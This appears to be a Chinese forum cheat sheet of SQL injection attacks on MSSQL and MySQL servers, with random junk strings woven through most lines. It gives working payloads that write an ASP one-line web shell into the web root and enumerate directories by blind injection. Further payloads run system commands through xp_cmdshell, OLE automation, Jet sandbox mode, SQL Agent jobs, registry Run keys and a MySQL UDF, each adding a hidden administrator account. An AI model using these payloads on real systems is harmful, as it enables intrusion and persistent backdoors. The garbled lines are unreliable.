MSSQL语句导出一句话木马! U1 P" z: \' M: r: N4 r
首先确定网站的WEB路径' b( y6 {+ r+ i9 L( ~
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
. j1 Y& T/ D0 ]6 `. N/ q5 {0 {
/ U" t+ @7 \* U, L7 q) u$ N8 V;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
7 C _8 r% w0 P' r//将一句话木马插入表中
- b4 l# ?# F3 ?" B% K& \
z' o( L$ R. W4 n9 m4 \;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
% v: A& S' m8 ?3 X8 ^5 g m( H" i/ l//导出一个ASP文件
+ D' Q+ H5 {& ^5 Y
7 n' q% d, S. E& Y
( c0 m) R5 V) W, Z关于MSSQL列目录
0 ^7 m+ y* y5 ^! j+ Z. k;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
2 F3 J. L( l8 q8 f& {/ F0 ~) \/ k( ]Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
8 f- f8 V. T* u# A& Y9 ^3 K9 J' t/ j5 b
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录3 g$ V; a: e( Q- J/ n1 M* E p
3 {- ?; J4 F: [( i5 g& ^5 f
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
l& U" ~( ]: O6 _7 z8 B/ Y) g# R
* M- S7 y$ {- z8 g' |And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符6 H6 |# a v' r: h
?7 g/ n5 R) ^
5 ] l) c9 n5 |2 O3 N2 n( `数据库版本和权限查看
- v; T" U- ~& y9 C. X O" \0 l3 nand 1=(select @@VERSION) //查看详细的数据库信息.
6 ?. D3 j, Q9 A8 H2 P6 ~, Pand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA; p' @% E3 N) U/ X5 c9 G9 t
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
5 F2 v* q1 h) \. e( O& R0 i: H1 \ z7 V" W1 r
1 }* \; Y, C) V
1.利用xp_cmdshell执行命令5 a- V/ k& `2 R+ D8 L/ V1 J
exec master..xp_cmdshell 'net user rfire 123456 /add'
8 V4 q0 q, G" w, b7 O6 H, dexec master..xp_cmdshell 'net localgroup administrators rfire /add'
; d. @ o/ _' H4 m; D! W
+ W. a8 ?9 v0 b [( h3 g/ |. o恢复xp_cmdshell存储过程
: r% U0 {+ x: LExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
- c! z4 q. a0 F$ n4 M3 O
8 r% j0 m) ~4 b, d$ f8 |5 I9 M! J) B$ H( f; r; {. f
2.利用SP_OAcreate和SP_OAMETHOD执行命令
8 p7 B. s& Q7 Y1 @( e* ]在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下- J& S4 m# @3 q$ I) ^6 {; a# a( |
DECLARE @shell INT //建立一个@shell实体7 I* h% w" c. X1 m2 F
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
! U- ?4 x; j- Z$ [+ NEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
1 j8 I ^# m3 }2 `0 R9 X( i9 y+ I* `$ h# s5 j
0 T3 [7 U& `* \% z
3.利用沙盒模式
' m* m7 O H: U1 V& |先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。& t- O; G* n8 b5 U. p
开启沙盒模式:
9 c: f) v) d" z% FEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
$ }+ }" Q+ q& C: f4 {. b# d7 R) f5 T( e
执行命令:. ]" M9 q1 Y" {" k( L! S' i( R
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');5 M/ d: h6 g2 y% g
' q* t" o, R- Q: ?) x, D, b
6 P, |- u- V9 s+ D5 k4.利用SQL代理执行命令2 q1 P' S R9 b( `% k4 M( T4 r
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务( X& A/ c& u1 {
5 |6 C1 [* r0 ]# D5 `* i# Z9 Z1 T执行命令:
$ ?/ M+ g& ?/ K9 T+ [# s4 Wuse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错/ e [4 q- e ~* m% d7 r$ t/ ~
exec sp_add_job 'x'
$ Q% M, E- w- y: C$ W, Mexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
& \4 d/ B/ X1 M* l; A* L. m- gexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业2 z) A6 J+ V {6 Z, }
3 K" b4 ^: @# R+ f# a/ N5 f$ m$ U0 P3 n
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
, v0 i! v9 T( ~7 g% IEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'* K8 L- m" m+ g) R j
) ?7 N$ i* ~" ?! e$ [$ d6 |
3 A$ ~& o4 x- r- P L' J) y5 p3 D6.MYSQL的命令执行
?5 ?7 k- b& _( B% R. KMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
( c; }; Q0 Q7 _' Z首先要在su.php下导出c:\windows\udf.dll
/ w8 z& z" i [& M& h9 V导出后执行创建自定义函数命令:+ ^3 l8 A* w+ A' w. d+ m* r3 C
Create Function cmdshell returns string soname 'udf.dll'! O `- D( \ t- c: f
执行命令
- _0 F! A# d- e% k* G vselect cmdshell('net user rfire 123456 /add')
4 J* S8 P! b. l, D. g# I* n执行后删除函数 drop function cmdshell: `' X7 C, e0 o8 o3 u1 A
|